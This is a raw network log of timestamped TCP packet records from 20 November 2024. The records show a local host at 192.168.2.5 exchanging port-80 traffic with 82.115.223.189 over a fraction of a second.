Nov 20, 2024 07:48:03.656030893 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.656053066 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656086922 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656100035 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.656121016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656153917 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656184912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656198978 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.656219006 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656229973 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.656255007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656289101 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656301975 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.656321049 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656353951 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656363964 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.656388998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656433105 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.657143116 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.694379091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.694431067 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.694468021 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.694489002 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.694504023 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.694544077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.694552898 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.694580078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.694617987 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.694627047 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.735094070 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.742768049 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.742841005 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.742872953 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.742892027 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.742928028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.742975950 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.742988110 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743041039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743086100 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743096113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743129015 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743181944 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743184090 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743235111 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743268967 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743278027 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743343115 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743395090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743401051 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743429899 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743463039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743473053 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743500948 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743545055 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743560076 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743611097 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743644953 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743659973 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743700027 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743733883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743746996 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743791103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743837118 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743841887 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743874073 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743908882 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743927002 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743940115 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.743987083 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.743993044 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744031906 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744070053 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744081974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744113922 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744148016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744162083 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744180918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744225025 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744232893 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744270086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744316101 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744323969 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744374990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744479895 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744488955 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744544029 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744575977 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744585037 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744609118 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744642019 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744653940 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744676113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744709015 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744720936 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744744062 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744776964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744786024 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744816065 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744859934 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744864941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744895935 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744930029 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744941950 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.744961023 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.744995117 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745006084 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745044947 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745078087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745095968 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745110035 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745153904 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745160103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745194912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745227098 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745258093 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745260954 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745295048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745306015 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745326996 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745359898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745371103 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745390892 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745424032 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745439053 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745456934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745490074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745497942 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745523930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745557070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745568991 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745589972 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745623112 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745630980 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745656013 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745688915 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745698929 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745722055 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745758057 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745764017 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745790958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745824099 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745832920 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745868921 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745903015 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745913029 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.745942116 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745975971 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.745985031 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746007919 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746042967 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746058941 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746076107 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746109009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746118069 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746141911 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746175051 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746185064 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746207952 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746241093 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746248960 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746275902 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746309042 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746342897 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746377945 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746401072 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746401072 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746412039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746444941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746454954 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746479988 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746515036 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746546030 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746547937 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746581078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746613026 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746618986 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746645927 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746678114 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746712923 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746715069 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746715069 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746747017 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746782064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746814013 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746836901 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746846914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746860027 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746880054 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746917963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.746926069 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.746952057 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.747049093 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.747529984 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.784929037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.784982920 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.785005093 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.785022020 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.785041094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.785074949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.785113096 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.785125971 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.785167933 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.833383083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833492994 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833545923 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833556890 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.833597898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833632946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833647013 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.833667040 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833707094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833709002 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.833759069 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833807945 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.833817959 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833867073 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833909988 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.833916903 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.833970070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834003925 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834032059 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834053993 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834090948 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834106922 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834120035 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834153891 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834170103 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834208965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834243059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834252119 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834294081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834325075 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834332943 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834357977 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834455967 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834458113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834507942 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834541082 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834556103 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834574938 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834623098 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834625006 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834661007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834708929 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834712982 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834743977 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834774971 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834785938 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834806919 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834851980 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834867954 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834922075 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834955931 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.834971905 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.834990025 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835032940 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835047960 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835067987 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835119009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835120916 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835155010 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835186958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835201025 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835221052 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835267067 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835269928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835346937 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835380077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835391998 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835414886 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835464954 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835465908 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835499048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835531950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835541964 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835566998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835609913 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835622072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835654974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835683107 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835696936 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835716009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835750103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835762024 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835783005 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835815907 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835830927 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835850000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835882902 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835891962 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835917950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835952044 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.835962057 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.835985899 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836020947 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836034060 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836052895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836086988 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836096048 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836118937 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836153030 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836163044 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836186886 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836226940 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836227894 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836257935 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836260080 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836292982 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836306095 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836324930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836359024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836368084 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836394072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836427927 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836448908 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836458921 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836492062 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836503983 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836524963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836560011 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836587906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836591005 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836623907 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836635113 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836657047 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836689949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836698055 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836724043 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836756945 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836766005 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836788893 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836826086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836831093 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836858988 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836891890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836903095 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836924076 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836956978 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.836967945 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.836987972 CET	80	49704	82.115.223.189	192.168.2.5
